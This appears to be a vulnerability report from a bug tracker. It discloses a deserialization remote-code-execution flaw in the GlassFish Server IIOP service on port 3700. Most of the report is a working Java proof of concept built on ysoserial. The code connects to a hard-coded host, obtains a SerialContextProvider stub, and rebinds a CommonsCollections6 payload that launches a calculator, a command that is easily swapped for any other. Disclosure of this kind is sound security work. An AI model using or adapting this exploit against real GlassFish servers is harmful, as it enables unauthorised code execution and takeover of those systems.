Description rugal orich1 2020-01-27 21:56:01 EST

GlassFish Server iiop protocal default listened on 3700 port, and com.sun.enterprise.naming.impl.SerialContextProvider were exported, with method's param unserializable will lead to remote code execute

I test this vulnerability on GlassFish 5.1 & GlassFish 5.0.1

For simplicity, add commons-collections3.1 or other vulnerability jar to path 'glassfish/lib' or 'glassfish/domains/domain*/lib' or 'glassfish/domains/domain*/lib/ext', then use ysoserial project to write poc

I will give attack local service poc, for remote attck need some other tricks

please credit me as orich1 of CUIT D0g3 Secure Team

-------------------------poc
package ysoserial.exploit;

import com.sun.corba.ee.impl.misc.ClassInfoCache;
import com.sun.corba.ee.impl.util.RepositoryId;


import com.sun.corba.ee.spi.presentation.rmi.PresentationManager;
import com.sun.corba.ee.spi.presentation.rmi.StubAdapter;
import com.sun.enterprise.naming.impl.SerialContextProvider;
import org.omg.CORBA.ORB;
import org.omg.CORBA.portable.Delegate;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContext;
import org.omg.CosNaming.NamingContextHelper;
import org.omg.CosNaming._NamingContextExtStub;
import ysoserial.payloads.ObjectPayload;

import java.io.Externalizable;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.util.Properties;

public class GlassfishIIOP {

    public static void main(String[] args) throws Exception{

        String portString = "3700";
        String hostString = "192.168.204.134";

        Properties props = new Properties();
        // init corba
        props.put("org.omg.CORBA.ORBInitialPort", portString);
        props.put("org.omg.CORBA.ORBInitialHost", hostString);
        ORB orb = ORB.init(args, props);
        // got NameService
        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

        NamingContext nctx = NamingContextHelper.narrow(objRef);
        NameComponent[] path =
            { new NameComponent("SerialContextProvider", "") };
        org.omg.CORBA.Object obj = nctx.resolve(path) ;

        SerialContextProvider result = (SerialContextProvider) GlassfishIIOP.getDynamicStub(obj, SerialContextProvider.class);
//        result.list();
//        java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "open /Applications/Calculator.app");;
        java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "gnome-calculator");

        result.rebind("test", exp);
    }

    public static Object getDynamicStub(Object narrowFrom, Class narrowTo){
        Object result = null;
        if (narrowFrom == null) {
            return null;
        } else if (narrowTo == null) {
            throw new NullPointerException("invalid argument");
        } else {
            try {
                if (narrowTo.isAssignableFrom(narrowFrom.getClass())) {
                    return narrowFrom;
                } else if (ClassInfoCache.get(narrowTo).isInterface() && narrowTo != Serializable.class && narrowTo != Externalizable.class) {
                    org.omg.CORBA.Object narrowObj = (org.omg.CORBA.Object)narrowFrom;
                    String id = RepositoryId.createForAnyType(narrowTo);
                    if (narrowObj._is_a(id)) {
                        return GlassfishIIOP.loadStub(narrowObj, narrowTo);
                    } else {
                        throw new ClassCastException("Object is not of remote type " + narrowTo.getName());
                    }
                } else {
                    throw new ClassCastException("Class " + narrowTo.getName() + " is not a valid remote interface");
                }
            } catch (Exception var6) {
                ClassCastException cce = new ClassCastException();
                cce.initCause(var6);
                throw cce;
            }
        }
    }

    public static Remote loadStub(org.omg.CORBA.Object narrowFrom, Class narrowTo) {
        Remote result = null;

        try {
            String codebase = null;
            Delegate delegate = null;

            try {
                delegate = StubAdapter.getDelegate(narrowFrom);
                codebase = ((org.omg.CORBA_2_3.portable.Delegate)delegate).get_codebase(narrowFrom);
            } catch (ClassCastException var8) {
                var8.printStackTrace();
            }

            ORB orb = delegate.orb(narrowFrom);
            PresentationManager.StubFactoryFactory sff = null;
            if (orb instanceof com.sun.corba.ee.spi.orb.ORB) {
                sff = com.sun.corba.ee.spi.orb.ORB.getStubFactoryFactory();
            } else {
                PresentationManager pm = com.sun.corba.ee.spi.orb.ORB.getPresentationManager();

                // got DynamicStubFactory
                sff = pm.getDynamicStubFactoryFactory();
            }

            PresentationManager.StubFactory sf = sff.createStubFactory(narrowTo.getName(), false, codebase, narrowTo, narrowTo.getClassLoader());
            result = (Remote)sf.makeStub();
            StubAdapter.setDelegate(result, StubAdapter.getDelegate(narrowFrom));
        } catch (Exception var9) {
            var9.printStackTrace();
        }

        return result;
    }
}

-------------------------